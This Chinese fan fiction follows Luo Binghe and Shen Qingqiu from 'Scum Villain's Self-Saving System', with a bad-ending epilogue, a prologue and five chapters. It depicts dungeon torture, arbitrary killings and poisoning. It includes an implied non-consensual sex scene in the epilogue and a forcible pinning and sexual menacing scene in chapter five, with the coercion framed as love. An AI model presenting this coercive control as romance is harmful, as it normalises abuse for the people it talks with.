为什么冰哥能口口声声说着‘爱’,却又将人虐到魂飞魄散,坚决的不放手? 没错。冰哥一放手,沈清秋就会立刻的干脆利落离开。 可冰哥不放手,难道沈清秋就该被他捏在手心,充当玩物吗? 没得道理! 大不了弄死我啊!我又不想活,还不是你非把我喊醒,又用各种方法强行将两人命数相连、寿命共享吗! 所以。冰哥对于如此软硬不吃,‘胡搅蛮缠’的沈清秋,还真没啥好主意。 这不,送上门去让人打,都解决不了问题。 总不能,下次在他面前死一次吧? 结局 be版结局 “沈清秋,你对我是不是太不公平了!”冰哥愤怒地吼道,他的声音充满了不甘和委屈。 沈清秋却面无表情,仿佛这一切都与他无关一般。他只是静静地站在那里,看着冰哥的动作,如同台下的看官,看着陌生人演绎的爱恨情仇。 “师尊。”冰哥眼里都是脆弱:“你知道的……我……” 沈清秋看着他的示弱,眼睛里没有恨,也没有怨。毕竟那些东西太缥缈,而他,早已在岁月的轮回中,不愿继续与之纠缠。 “可是......”冰哥的眼神变得有些弱弱的,他知道他与对方都曾经做过很多错事,但他想要的并不是那些所谓的报复和赔偿。 然而,沈清秋根本不接他的话茬儿,只是将话题引到了“受苦与报复”上面:“你想讨回公道,我随时奉陪就是。” 冰哥心里一阵苦涩,他想要的,从来都不是报复和赔偿,而是希望能看到自己心中的那个仙人眼中有他的存在啊! “我不是这个意思......”冰哥试图解释,但是沈清秋却不给机会。或者说,沈清秋压根就不在乎,所谓的‘解释’。 “你到底是为了什么呢。”沈清秋难得说了句话。 “嗯?”冰哥看着难得有回应的沈清秋,期待的等着下一句。 “你知道我看你的样子想什么?”阳光透过树叶的缝隙,洒在他的脸上。沈清秋抬手,遮住刺眼的阳光:“我不想跟你闹,也不想恨。甚至也不愿在为了任何人妥协。” “准确的说,我现在看你们,就像是超脱了剧本、隔离开情感。与之相比,之前的所有爱恨,都是如此的荒唐与可笑。” 我不愿记起那些,即使我脑海里存有。 我不愿与你继续纠缠,即使你赶不走也不想放手。 我宁可站在旁观者的角度上,看你们恩恩怨怨、复仇与报仇、辜负与忏悔。 这世间的爱恨从不分明,只有倾注了更多情感的,才期待获得更多回馈。 你一厢情愿的想拉我入你感情深渊,想看我对你的恨怨,想看我终于被你感动,想让我温柔的跟你说句‘曾经没有不在乎,只是没说出口’。 “我知道你想说什么,无非就是沈垣那一套‘我有记忆为什么非要当成失忆。”沈清秋残忍到近乎直白——他实在不想跟冰哥继续玩这种’你追我赶‘的游戏,而这场互相报复的戏码,也唱了太久,久到他累了,不想继续下去。 “可是,”沈清秋打开遮住太阳的手背,扭头看向冰哥,露出那双充满了讽刺的,近乎尖酸刻薄的眼睑:“我又凭什么非要与你同坠深渊?” “你想要救赎?”沈清秋高高在上的睥睨了他一眼:“你配么?杂种。” 自己的替身就不是替身了么? 他上一世为能了师门、弟子、苍生妥协。却从不曾为自己想要好一点的生活环境而让步。 他当然知道,只要他说话软一点,用些似是而非的话语,就能轻易得到冰哥奉上的一切,甚至能让他反复自杀。 可。凭什么呢。 他的尖酸刻薄,不是大家都知道吗? 既然忍受不了,又为什么非要接近他呢? 世间有那么多的人,你偏偏要招惹他。最后你又被他的冷漠所伤,愤而将其打压的喘不过气,然后又开始认错,希望对方的谅解。 可,对方的谅解之后,是不是就该更近一步的接触? 沈清秋的眼睛太冷沈,神情太淡漠。 就像是一个局外人,看着眼前之人在自己面前演绎着悲欢离合,而他,连点评都不曾。 冰哥不顾沈清秋讽刺的眼神,再次将人压入身下,用唇舌封住对方那刻薄的嘴唇,用手,遮住对方冷漠的眼睛。 白.日.宣.淫。 无所谓了。沈清秋对于这个无时无刻、随时会发q、喜怒无常的家伙,都习以为常了。 即使身体承受着狂风暴雨,可他的眼睛,却始终没有波动。 脱下的衣服,没办法捡起来。 倾盆倒下的污水,没办法洗干净、亦无法收回。 心灰意冷、破碎不堪的灵魂,没办法一点点拼合,重注生命。 面对这一切,他能做的,从来只有‘不接受、不迎合’。 沈清秋早就死了。 如今活下来的,只是一个失去了记忆、没有了过去的无名之人。 沈九,是个彻头彻尾的悲剧,他的命运被扭曲,心灵被摧残,最终走向了被世人遗忘。 沈清秋,更是个悲剧,背负着无尽的痛苦与悔恨,连下地府都无颜面对其他人。 唯有这个还剩躯壳的、没有记忆的无名者,还能苟延残喘的,看着这个操蛋的世界。 —— —— “你究竟要怎样才能原谅我?”冰哥的语气中带着一丝无奈和乞求。 沈清秋沉默了片刻,然后淡淡地说道:“让我走。” 这句话如同一把利刃,深深刺痛了冰哥的心。他没想到,沈清秋的要求竟然始终如一,从未改变过。 然而,这一次,冰哥是真心实意地想要尊重他的想法。 “然后呢?”冰哥的声音微微颤抖着,透露出内心的痛苦和不甘。 沈清秋突然回过神来,他震惊地看着冰哥,似乎不敢相信自己刚刚听到的话。“你愿意放我走?”他的眼神充满了疑惑和惊讶。 冰哥默默地点了点头,眼中满是委屈,但他却强忍着不让泪水流出来。他紧紧闭上双眼,仿佛这样就能封锁住内心的伤痛。“还有吗。” 沈清秋看到冰哥这副模样,心中不禁涌起一丝复杂的情绪。两人的关系实在是不怎么好,他直到现在都不敢相信自己刚听到的信息。 “这个啊……”沈清秋的嘴角微微上扬,露出一抹不易察觉的恶劣笑容。他的目光锐利如刀,仿佛要穿透冰哥紧闭的眼皮,洞悉他隐藏在深处的脆弱。 “当然是,想让你死。”沈清秋轻描淡写地说道,语气中,却带着毫不犹豫的恶意。 冰哥的身体微微一颤,他努力控制住自己的情绪,不让悲伤流露出来。他知道,这是沈清秋的心里话,半点不带假的。他也知道,只要给沈清秋一个机会,他会毫不犹豫的弄死自己。 "好。"冰哥的声音低沉而压抑,仿佛喉咙被泪水堵塞,难以发出清晰的音节。他默默地召唤出心魔剑,小心翼翼地将它放在沈清秋的手心中:“你的愿望,现在就可以实现。” “接着你复活后,继续这场闹剧?”沈清秋看着略显沉重的心魔剑,他意识到,没有了修为的支撑,自己甚至连举起这把剑的力气都丧失了。 “不。”冰哥摇摇头,用啼血的眼睛直直地盯着他:“你只要对着我的心脏来一刀。我就会回到我该去的地方。” 沈清秋皱起眉头,质疑道:"就这么简单?" 冰哥点了点头,语气平静地回答:"就是这么简单。" “好。”沈清秋握紧心魔剑,毫不犹豫地挥出了一击。"噗嗤"一声,鲜血四溅,染红了他的脸庞。 冰哥的身体开始迅速恢复,但他却用尽全力向前迈了一步,亲手将心魔剑深深地插入自己的胸口,并紧紧抱住了沈清秋。 很快,血液不再流动,冰哥的身体越来越虚化。 沈清秋明显感觉到抱着自己的身躯力道越来越轻,最后化为白色的碎片。 "希望……你日后能够过得快乐。"冰哥的声音在沈清秋耳边响起,带着最后的微弱的气息和无尽的眷恋。 “只要你滚了,我自然会舒坦。”沈清秋毫不在意的将周围收拢一番,并将他身上染了血迹的衣物一并脱下,一把火烧掉这个困了他数十年的院子。 11.冰将中途九带到结局 序:开文原因 “你以为你的魔气很弱?若不是为了看看你想做什么,早在你进来的那一刻,我已制服与你。” “师尊倒是对弟子了解颇深啊。” “人魔混血的狗杂种,污染修真界的空气。” “师尊是什么时候知道弟子是‘人魔混血’的?你第一次骂弟子‘杂种’的时候吗?” —— “放虎归山,终成隐患。” “师尊当时可是心软了?” “脚快一步而已。” —— “师尊的实力不弱嘛,看来当时若不是拿捏到师尊软肋,弟子未必能请君入瓮。” “?”沈清秋有些不理解,手上动作却不停,甚至剑招越发凌厉:“巧舌如簧。看来你这奸细之前都在示敌以弱,是以为清静峰好渗透吗?” “师尊说笑了,清静峰在您的管理下‘祥和一片’,便是魔族之人,也难以忍受啊。” “你不必反讽于我,之前给你机会不把握,现在就把命留下吧。” “看来师尊之前是故意送我‘回家’了。”冰哥脸色唏嘘,刻意摆出感激的表情:“还得多谢‘师尊手下留情’,才能让弟子有机会‘报答’于您。” ———— “师尊。”冰哥将沈清秋压于自己身下,恶意挑起他的发梢:“我记得您最厌恶被男人贴近,现在感觉如何啊?” “我不与罔顾人伦的畜生争论。” “师尊啊,我若说,您曾亲自给弟子疗伤,还拉着弟子与您同床而眠,您可相信?” “你睡昏头了。” ———— “我记得,您自从登上峰主之位,好像再也不曾动剑。世人传言,是您杀了柳清歌后,再也拿不起来了?” “混账!” “若您今日佩剑在手,弟子还需多费些功夫。可惜您一无应对利器,二无法对抗魔气,又狗急跳墙咬下弟子鲜血,今日,必被弟子所擒啊。” —— “你以为,你将剑插入心口,我就会原谅你?” “师尊。弟子只是想让您,得偿所愿。” “真巧。我是个小人,不会像大义凛然的君子一样说什么‘不欺负弱小’。你将头颅献上,那我就直接取你性命。” “是啊。是弟子错了。竟以为,能以命,触动您冰冷的心。” 引子:我会找到你,带走你 引子部分序:故事的开始,从最后的结局说起 当故事落幕之后,某个断剑被某个小卒偶然拾得。 由于这柄剑的材质过于优良,即使是断剑,剑刃处仍有寒光隐现,似在诉说往昔的峥嵘岁月。被‘供奉’上来,递到了魔尊的面前。 “肃?”冰哥看着残缺不全的文字,脑海中突然浮现出那个曾屹立于修真界之巅的山门,以及,那个被他遗忘在地牢的,阶下囚。 时间过于遥远,他的记忆里,年少的他受尽世人冷落、毒打与欺压。而他在落入悬崖后,却获取奇遇,习得高深功法,修的绝世内力。自此,他一路崛起,横扫世界,一统两界,成就至尊之位。 许是勾起了年少的记忆,冰哥难得的将身边佳人推开。整理了一下有些褶皱的衣衫,命人开道,去牢里探望那个被种下天魔之血,而一直求死却死不掉的人。 “师尊,弟子来看您了。”冰哥的声音听起来极为恭敬,行走间也极为优雅从容,完全看不出来,他此时身处最为阴暗潮湿、腐臭弥漫、不见天日的地牢。 可惜,一团烂肉,是无法给予他回答的。 阶下囚并不可怕,但一个完全不认错、坚决抵抗到最后,从不服软、拒绝怀柔的、死不掉的俘虏,处境绝不会比死去的亡灵好到哪里去。 “哎。”冰哥的声音充满遗憾,他站在门口远远的看着那团被天魔之血操控、忍不住颤抖的烂肉,心中升起无数的快意—— 他努力强大的意义,不就是将所有曾欺辱他的人,踩在脚下吗?而这个‘罪魁祸首’,自然要留到最后慢慢折磨,以泄心头之恨。 只是...敌人已被打完,内地外患皆无,这平稳的世道。 平和的有些无趣,无聊了呢。 ———— 魔尊的性情突然喜怒无常起来。 平日里要么随机找人问话,譬如‘为何他可以那样而他为何不可以?’‘凭什么他可以?’‘废物为何会受到重视?’‘同样的人,为何却如此大相颈离?’ 被问之人胆战心惊,生怕答错一句便招来杀身之祸。 要么随时杀人,譬如‘为何你眼中只有畏惧而非尊崇?’‘你怕我什么?’‘你为何对我如此温柔,却对xx如此残忍?’‘你当真如你表现的普爱众生吗?’ 魔尊杀意一起,血光四溅,人人自危。 要么,喝的酩酊大醉,四处找人打架发疯:‘哇哈哈哈,我才是世界第一!’‘有实力不就够了吗?修为才是真!’‘凭什么,凭什么!我什么都有的,我明明什么都有!’‘为何,你不能如他?!’ 魔尊的行为也愈发让人捉摸不透。 今日令人将地牢之人救出救治,明日却又丢下一堆刑具;前日还小心翼翼喂血,昨日却又将人揽在怀中,玩着让人看不懂的花样。 魔尊。疯了。 这是所有人的想法。 喜怒无常、随机杀人的魔尊。 太可怕了。 第一章失去的东西,总是要想方设法找回来的 “岳掌门可真是您心尖尖的人呢,得知他的死讯,您都想陪他共赴黄泉呢。” 冰哥的声音在昏暗的地牢中回荡,带着丝丝嘲讽与不甘。他的目光紧紧盯着眼前那团不知生死的肉团子,眼神中闪烁着复杂难明的光芒。接着,他像是想起来什么,有些快意的笑了起来: “说起来,宁嘤嘤也是被您护在怀里的人。若不是她被人刁难,一个‘秋海棠’,您未必会束手就擒吧?” 冰哥想起来那场令沈清秋跌下神坛的‘审判’,眼前不禁闪过在很早之前的清静峰上,沈清秋对宁嘤嘤的温柔呵护。可惜,女儿外向,宁嘤嘤最终还是选择倒向自己,将沈清秋卖了个干净。 可笑的是,沈清秋原本淡然冷漠的脸,在看到其他人对宁嘤嘤恶意满满的‘挑刺’后,竟面无表情地将所有过错揽于自身。哪怕是那些莫须有的罪名,也一并认下——只为了,让其他人将目光从宁嘤嘤身边转移开来。 想到沈清秋对宁嘤嘤的爱护,冰哥就忍不住想起来另一位内门弟子。那个,一直欺压自己、带头实施‘欺凌’的家伙。他勾起嘴角,想到被自己扔下万毒窟的存在,笑得格外开怀: “明帆也是条好狗,明明您都将他打成那样,却还要爬到我的面前,试图给我一剑呢。” 面前的肉团微微颤动,却不知其是否听到了他的话语。那曾经高高在上、清冷孤傲的仙尊,如今竟落得这般模样,着实令人唏嘘。 冰哥站在地牢之中,回忆如潮水般涌上心头,思绪渐渐飘远。他突然回想起自己曾涉足的那个世界,心中感慨万千。他实在不明白,为何同样是 “沈清秋”,对待周围之人却有如此巨大的差异?同样是 “洛冰河”,为何他就不能得到沈清秋的温柔与关爱呢? 若是,沈清秋能如另一个世界一般。 那该多好。 可惜,他知道这是不可能的。 他所遇见的这个沈清秋,连自己都难以温暖,竟需时常流连勾栏之地以寻温暖。 更何况,是对别人有好脸色呢。 既然如此,那他便穿越时空、跨越世界,回到更早之时,培养属于自己的 “沈清秋”。 —— 冰哥额头的天魔印闪烁,手中心魔剑发出猩红的血光。忽地,天地间风云色变,狂风突起,冰哥以血祭剑,要开辟过往之路。 沈清秋明明对待宁嘤嘤就可以温柔,对待明帆也能报以信任,对那个世界的洛冰河也可以予己予求。 凭什么,他不行? 他是一统世界的魔尊。 他是什么都有、集天地钟爱的龙傲天。 他是后宫佳丽三千、忠心小弟无数、手下数万魔兵的世界霸主。 他,要跨越古往今来的时间长河,回到过去,将那个人掳到自己身边,让他如另一个世界的‘沈清秋’一般,将钢铁直男化为绕指柔。 冰哥的心中充满了执念,他不相信自己无法得到沈清秋的爱。他要改变这一切,他要让沈清秋成为他的人。 至于‘为什么’? 他只是,见不得那个世界的 “沈清秋” 对 “洛冰河” 那般温柔罢了。 既然有‘洛冰河’成功过,为什么他不能? 嗯。至于为何冰哥没去掳冰妹所在的那个 “沈清秋”…… 当然是,自己的必须要自己培养啊! 第二章男频仙尊的爱好,一直都是勾栏听曲 阳光洒落在尘世,微风轻拂,天地间一片静谧。 今日无事,勾栏听曲。 沈清秋作为一个标准仙尊,对于温柔如水的邻家长姐,完全没有抵抗能力。所以他端坐在贵宾厢房中,欣赏着台下美人的舞蹈。 那女子身姿轻盈如燕,恰似蝴蝶在舞台上蹁跹飞舞,每一个动作皆充满优雅与灵动。莲步轻跳,飘逸的飘带飞舞,充满了梦幻唯美的氛围。 可惜,某个极为张扬的气息,从房门处蔓延开来,扰乱了他欣赏美人的雅兴。 沈清秋微微蹙起眉头,心中略有不悦。 算了,看节目更重要,不能辜负美人献舞。于是,他再度将目光聚焦于舞台之上,手中掐诀,布下几道阵法来,试图忽略那股令人厌恶的气息。 不轻不重的力度从肩膀传来,按摩穴位准确,力道恰到好处。若不是这股气息实在令人厌恶,这双手的主人倒还真是个不错的‘工具人’。 沈清秋悠然地端起茶杯,轻抿一口香茗,茶香在口中四溢开来,让他的心情略微舒缓了一些。随手将腰间的玉佩扔下去打赏,却在眼角看到呈自由落体下落的玉佩,以一种反重力的方式飞到了自己身后。并且,肩膀上的力道也加大了几分。 “嗯?”沈清秋原想侧头看一下清空,却看见另一支舞蹈已然开场。那绚丽的舞姿与动人的乐声瞬间吸引了他的注意力,他不由地将视线转回到舞台上,继续欣赏舞蹈。随手用扇子敲了一下肩膀上的手背,示意他收敛一下力道。 “欸?”沈清秋有些不快,自己刚敲到对方手背的扇子,瞬间被人紧紧抓住。沈清秋稍稍用力拉扯,却发觉对方的力道不但没有减弱,反而又加重了些许。 手中的扇子即将被人夺走不说,他的肩膀也被人牢牢扣住。原本安分按摩的手指,此时隐隐指向他的脖颈,杀机骤现。 沈清秋的眼珠略向后侧移动,可惜对方的身影被胳膊遮挡,看不真切。 不过,如此浓郁的魔气,如此厚重的血腥味,以及隐隐笼罩在周遭的威压与杀意,都让他明白,对方绝对是敌非友。 “既然来了,就喝一杯吧。”沈清秋像是感受不到肩膀上的压力似的,右手直接松开折扇,信手举起茶壶,拿出一个新杯子,清洗后冲上一杯,做了个‘请’的手势。接着,他举起自己的茶杯,轻松写意的吹起浮沫,小酌一口。 冰哥右手捏着战利品——沈清秋的折扇,左手制住沈清秋的肩膀,站得与沈清秋极近。从背后看上去,像是将眼前之人揽在自己怀里。 不得不说,这么‘识趣’的沈清秋,极大缓解了冰哥怀着满腔不忿破开时空的激愤之情。 毕竟,按照时间线来说,这时仙盟大会已经结束,''洛冰河''也被沈清秋亲自踹下无尽深渊。洛冰河在深渊下累死累活的拼命求生,沈清秋却在女人堆里风花雪月、抚琴作画,和,沾花惹草。 着实令人,不爽。 还有这个刚才‘敲打’他的折扇。冰哥可忘不掉,在那个世界中,''沈清秋''的记忆里,柳清歌与沈清秋的折扇,实在是渊源颇深! 冰哥不会承认,他是受到了另一个世界的刺激。 就像是,他只是心血来潮想给沈清秋按摩肩膀一样,绝对不是在模仿另一个世界的’洛冰河!’ 第三章喝茶从来不只是喝茶,但主家举茶杯一定是送客 沈清秋看着优雅落座在自己对面的洛冰河,心里突然有一种失落和愤怒。‘呵,果然是魔尊奸细。’‘他果然,没看错人。’ 冰哥看着沈清秋一瞬间布满的厌恶、反感,以及立刻对周身施展的清洁诀,心中恼怒顿起。若不是多年来养尊处优练就的沉稳,他此时已将人踹倒在地,踩在脚下了。 “你果然是魔族之人。隐匿身份与身形,在苍穹山可得到了想要的东西?” 沈清秋对魔族的厌恶之情溢于言表,甭管眼前之人是不是他曾经的弟子,他都不愿与魔族有过多的沾染。甚至说,若不是他现在心神放在台下的舞蹈上,现在就已经出手清理师门了。 “果然。”冰哥重复了一下这个词语,眼神微亮,笑得灿烂:“看来‘师尊’早有所知啊。” “废话。”沈清秋只觉得这玩意的存在影响自己看表演的兴致,只想早早将其打发:“你以为你的魔气很弱?若不是为了看看你有何图谋,早在你进来的那一刻,我便已将你拿下。” 冰哥端起茶杯轻抿一口茶水,果然,能让‘沈清秋’亲自斟的茶,滋味非凡。他悠然的晃了晃茶杯,将空杯子推到沈清秋面前,调侃道:“师尊倒是对弟子了解颇深。” 沈清秋被洛冰河那莫名的目光看的恶心不已,就连茶水都喝不下去。他重重的将茶杯放到桌子上,极为不耐地看着洛冰河:“魔族究竟想要什么,竟三番四次的派人上苍穹山,又命你这个奸细去又复返?” “嗯?”冰哥微微睁大双眼,露出无辜之态,仿若天真孩童般发问:“师尊认为我是魔族派来的?” “不然呢?”沈清秋面无表情,只想赶紧把人赶走:“我亲自将你踹下去,不出三天你就再次出现,难不成是你命大,卡在半山腰不成?” “噗。师尊说得对。”洛冰河笑得愉悦,悄然间已封锁整个个厢房的空间,沈清秋,已插翅难逃。既然如此,倒可以和他''好好聊聊'': “所以师尊认为,弟子应当是魔族潜伏已久的卧底,巧合之下被您发现,您为民除害,将弟子打下深渊?” “.....”沈清秋实在不想跟这玩意纠缠什么‘谁派谁过来’,他直接打开天窗撵人: “人魔混血的狗杂种,污染修真界的空气。苍穹山对你不薄,那么多年都没找到你们要的东西,今日又寻我做什么?难不成以为我身上会带着你们要的东西?” 冰哥的眼神越发危险,听到沈清秋如此直白的送客之语,手中轻轻掐诀,开启早已布好的结界:“师尊啊,你且说说,你身上会有什么是魔族惦记的东西呢?” 沈清秋摇摇头:“苍穹山确实没什么魔族能用的东西。即便是藏书阁里,那些秘法秘闻,对魔族也毫无用处。”接着,他稍作思索,看向冰哥额头的天魔印,眼中闪过一丝恍然:“你是为了被封印的魔门至尊?” “是了。你是天魔族的人,也只有此事,能让魔门派出一个人魔混血潜伏于苍穹山,甚至被揭穿后又再次复返。” 洛冰河看着沈清秋高深莫测的表情,知道他已经陷入阴谋论。毕竟他自己是个尖酸刻薄、暗地里动手脚的小人,自然会认为他人也如他一般处处算计。 想到这里,洛冰河不禁轻笑一声。此时的沈清秋全然不知自己厉害,若是牢中那人,见到自己瞬间便会逃走,怎会如这般毫无戒心地与自己交谈,还对自己如此 “不屑” 与 “无畏”? 不过,想到这里,他试探着问出长久以来心中所惑: “师尊是什么时候知道弟子是‘人魔混血’的?你第一次骂弟子‘杂种’的时候吗?” “嗯?”沈清秋的表情有些茫然与不解,他的头脑风暴中满是魔族的目的、魔族的阴谋、魔族派人接触自己的背后意义——怎么,突然转变到‘人魔混血’‘杂种’了? 他难以置信地再次看向冰哥,里面满是震惊与不理解:“魔族,竟派一个如此执着于细节的人来潜伏?” 如此心胸狭隘之人,真能成就大事?若此人登临高位,不知心里有多少的帐要算,不知多少曾打压他、忽视他,与他有过节的人会被牵连。 “...”冰哥虽然不知道沈清秋想到了哪里,但从他此刻的表情便能看出,他像是在说:‘你的关注点是不是有问题?果然是下位者心态,只关心自己,不懂背后的图谋。’ 但是。沈清秋不知道的是,冰哥是真真正正的坐到了魔族至尊,又专门跨越时空,来到这个‘沈清秋将洛冰河踢下深渊’的时间节点。 沈清秋更不清楚的是,当冰哥到来的那一刻,这个原本由男频世界观构建而成的世界,开始被女频的狗血所侵染,一点点朝耽美的方向发展。 第四章标准男频的做法,从来是斩草除根、鸡蛋清都要摇匀 看着莫名其妙朝自己出手的洛冰河,沈清秋随手挥出几道灵气化解攻势,又扔出几颗灵石布下层层禁制。将这小小的厢房牢牢护住,以防两人对战将房屋震塌。 此刻,厢房之外,歌女舞姬们正翩翩起舞,乐声悠扬,一片歌舞升平之象;而厢房之内,却是杀机四溢,气氛冷冽如九月寒冬。 冰哥手中长剑一挥,剑刃如闪电般划破沈清秋的衣衫,露出里面洁白的内衬。那内衬如雪般纯净,在昏暗的光线下格外显眼。 他从容的应对着沈清秋砸过来的各种碎片,欣赏着眼前之人的‘剑武’。接着快速躲闪过沈清秋挥来的符箓,口中不住赞叹: “师尊的实力不弱嘛,看来当时若不是拿捏到师尊软肋,弟子未必能请君入瓮。” “?”沈清秋有些不理解,手上的动作却丝毫不慢,招式越发凌厉:“巧舌如簧。看来你这奸细之前都在故意示弱,是以为清静峰好渗透吗?” 沈清秋今日出门本是为寻欢作乐,身上只有随身备着的折扇和储物袋里用以防身的暗器。虽说他可以发出信号弹,苍穹山的人在一炷香的时间内必定会赶来。 但如此一来,未免太过丢脸。 而且,若是他都打不过的人,苍穹山能让谁来? 除了已经死掉的柳清歌,难不成是指望基本不问世事的长老?还是那个几乎从未拔过剑的岳清源? 话又说回来,岳清源若是看到沈清秋的信号弹,一定会第一时间赶过来。 可沈清秋却不想见到他,更不愿被他庇护。 他不愿在他人面前示弱,更不愿,在岳清源的面前展示。 冰哥看着手执乌金扇的沈清秋,右手剑刃斩出,左手随意把玩着之前从沈清秋手上拽过来的翠玉折扇。嘴角勾起,笑得极为开朗阳光: “师尊说笑了,清静峰在您的管理下‘祥和一片’,便是魔族之人,也难以忍受啊。” 沈清秋身形一闪,躲过迎面而来的一道剑气。身后的桌子被剑气劈成两半,木屑纷飞。他脚踏奇步,如鬼魅般移动,用扇面抵挡剑气。扇面在剑气的冲击下微微颤抖,旋转一圈后猛然合上,一道劲气直射冰哥面门。 冰哥侧身躲避,手中长剑顺势刺出,一寸长一寸强,剑势凌厉,直逼沈清秋咽喉等要害。沈清秋脚尖轻点,与半空中翻身,避开这致命一击。接着,他手中折扇再次挥出,数道藏于扇骨的暗器如天女散花般射向冰哥。 冰哥手中的心魔剑与暗器‘乒乓哐啷’交战声响起,沈清秋借此催动阵法,以修真界的灵气压制冰哥的魔气—— 魔族之人,其散发的魔息对修真者具有极强的腐蚀性;同样,修真界的灵气,对魔族之人,也有极强的杀伤力。 可惜,冰哥身为人魔混血,虽然魔气比灵气修习更多,但灵气的存在,却让他依旧保有一战之力。 冰哥从暗器形成的剑雨中走出,身影如鬼魅般冲向沈清秋。手中长剑舞动,剑影重重,让人眼花缭乱。 沈清秋面色凝重,右手折扇急速舞动,形成一道防御屏障;左手捏着无数符箓,随时抽空拍出几张以期待出奇制胜。 两人你来我往,激战正酣。厢房内的桌椅板凳被他们的劲气震得破碎,木屑纷飞。 沈清秋动了杀心,故而步步杀招。相反冰哥虽招式凌厉,却像是‘灵力停滞’似的,剑招变化有余,强劲不足。一招过去,沈清秋衣衫碎裂不少,受的却都是皮外伤。 沈清秋看着自己外衫逐渐破碎,心里怒火更重,每一招都加注不少灵力,势必要将对方打倒在地。 两人都是世间强者,若非阵法将此方空间锁捆,连外面的小楼都不一定能留下。而屋内座椅板凳屏风隔断之物,除一张床榻之外,尽皆化为碎片。 最终,还是长久不用灵气的冰哥落了下风,他一招过去,灵力不足的情况下,力道与方位难免有些偏差。 沈清秋敏锐的抓住了这稍纵即逝的机会,他瞬间闪身到冰哥身后,以扇骨猛刺入冰哥心口: “你不必反讽于我,之前给你机会不把握,现在就把命留下吧。” ‘噗嗤’鲜血被大量带出,温热的鲜血散发着刺鼻的腥味,沈清秋面无表情地将脸上的血迹擦去,看着倒在地上仍不安分的冰哥。他的眼神中没有一丝怜悯,只有冷漠与淡然。 他已手下留情一次,可现在看来,对方并不需要。既如此,那就死吧。 “看来师尊之前是故意送我‘回家’了。”冰哥脸色唏嘘,即便是狼狈的倒在地上,依旧刻意摆出感激的表情: “还得多谢‘师尊手下留情’,才能让弟子有机会‘报答’于您。” 语气挑衅,神情夸张,即便气息微弱的仿佛濒死,冰哥依旧在努力作死。 沈清秋手中的扇子闪过墨绿色的光泽,那是结合了不少毒物炼制出来的剧毒,见血封喉、触之及死。 他挥袖拂开周围乱七八糟的碎片,将床铺清理干净,然后端坐在上面,面无表情的说了句:“放虎归山,终成隐患。” 其声音之冷漠,与他此时浑身染血、衣衫稀碎的模样‘相得益彰’。 只是,其中隐含的一丝感叹,还是被冰哥所捕捉到。 冰哥依旧是那副被伤了心口,即将死去的模样,只是脸上笑容越发明媚。他像是探究到了什么甜蜜的秘密似的,明明性命垂危,却眼角都在飞舞: “师尊当时可是心软了?”若是的话...冰哥也是可以,稍微模仿一下另一个世界的‘洛冰河’的。 沈清秋完全不懂冰哥为什么这个时候还能笑得出来,顺手又补了几道毒过去,抿了一下嘴唇,发觉自己的嘴角不知何时被风刃割出无数的细痕。那些细痕如蜘蛛网般蔓延,微微刺痛。 随手幻化出一面水镜,认真地擦拭着嘴唇。柔软的嘴里吐出的话语却冷硬的像寒冬的凛风: “脚快一步而已。” 第五章以有心算无心,主打一个‘处处惦记’ 经历过大战的人,早已习惯杀人与被砍。故而,没有人会在意四处散落的血迹,自然也不会留意,充盈在鼻翼、四周的血腥味。 当沈清秋背对冰哥疗伤的时候,他并没有意识到,方才那个几乎一只脚踏入棺材的家伙。已悄无声息的,以天魔血为引,勾起人心底最为恐惧的心魔。 “师尊啊,你看弟子都要死了,真得这么狠心嘛。” “弟子知道你是嘴硬心软,要不然如此厌恶弟子的你,怎么会在悬崖边放弟子一马呢。” “师尊啊,你倒是看看我,弟子都要死了,都不能让你看上一眼吗?” 冰哥的言语,听起来极为真挚,甚至还充满了‘人之将死、其言也善、急需答疑解惑’的诱导意味。 虽得不到沈清秋的回话,但看着纱帘后背对自己疗伤、一点点擦拭伤口,以及略微发出‘嘶—’的呼痛声。 嗯,冰哥觉得,这次试探,可以到此为止了。 这样的‘沈清秋’,远比另一个世界的‘温柔版沈清秋’有血性、有刚劲、有魄力。也远比他、那个被他所遗忘的血团子、有风度、有气场,更为鲜活生动、充满天真。 既然如此…… 电光石火中,刚才还马上就要死翘翘的冰哥,以迅雷不及掩耳的速度将毫无感知、衣衫半褪的沈清秋压倒,困于床铺内侧。 “师尊。”冰哥将沈清秋压于自己身下,用一只手锁住沈清秋挣扎的肩周,另一只手恶意挑起他的发梢,发丝如绸缎般顺滑,在他指尖缠绕:“弟子记得您最厌恶被男人贴近,现在感觉如何啊?” 方才高高在上的仙尊已被人用手脚束缚住,半褪的肩领被冰哥胡乱拉起,破碎的衣衫隐约露出内部的晶莹剔透。仙人脸上的震惊与愤怒交杂,那表情仿佛是被亵渎的神祇,充满了不可置信。 随着冰哥的动作,某种‘羞愤’的神色不由自主浮现,却又极快的被人压下。 那张平日里巧舌如簧、搬弄人心的唇舌,紧紧的闭合着。 那张高傲冷漠的俊颜,随之染上难以控制的恐惧与抵抗。 那双平日里古井无波、任何人都不被放在其中的瞳孔,因愤恨与无力,被激出湿润的水色。仿佛是两颗璀璨的宝石,在阳光下闪烁着动人的光芒。 如此高傲的仙尊,现在却被囚困于自己怀中。神情崩溃不说,血色的眼中还隐约有泪光闪烁。 天魔之血,可以控制人的躯体,亦可……激发人的心魔。 虽冰哥能入侵旁人的梦境,以过往为囚牢,将人困死于噩梦中。却无法透过对方猩红的双眼,窥见对方心底深处的心魔。 但。能让沈清秋脆弱于此,连警惕与反抗都不曾的‘心魔’,冰哥还真想见见。最好,牢牢的将把柄握在手里,以随时拿捏对方。 “别...滚开!”沈清秋深陷入心魔之中,整个人有点癫狂的挣扎着,被天魔血压制的灵力四处扩散,强大的力量仿佛要将周围的一切都摧毁。若不是身边之人以大力压制,恐怕他已经开始疯狂的砍杀一切了。 “哦?”冰哥更好奇了。之前的‘羞恼’与‘泪光’,还有此时此刻的恨不得祸害周遭所有——这家伙,不会是用这种方式来表现‘娇俏’与‘恼羞成怒’吧? 嗯。高冷仙尊的‘疯狂抵抗’。 要比另一个世界的温柔娇羞,要更反差,更有趣,更让人期待啊! 只是,冰哥突然有些恼火与不爽。 他之前从未想过入侵心魔。否则,他一定要看一下,究竟是那个畜生,能将冷漠无情的沈清秋,逼成眼角带泪的模样。 标准的男频仙尊,陷入敌人的陷阱之后,从来不是考虑示敌以弱的服软,而是疯狂压制灵力与潜力,施展千般妙法与万种手段,要与对方一决死战。 冰哥看着被自己揽在怀里不停挣扎的人,脑海里不禁想起曾在另一个世界里,看到的——属于那个,小畜生的、衣衫半露昏迷,与安静和谐的同床而眠。 可即便是狼狈成那样,那个‘沈清秋’,依旧护在小畜生的身前。 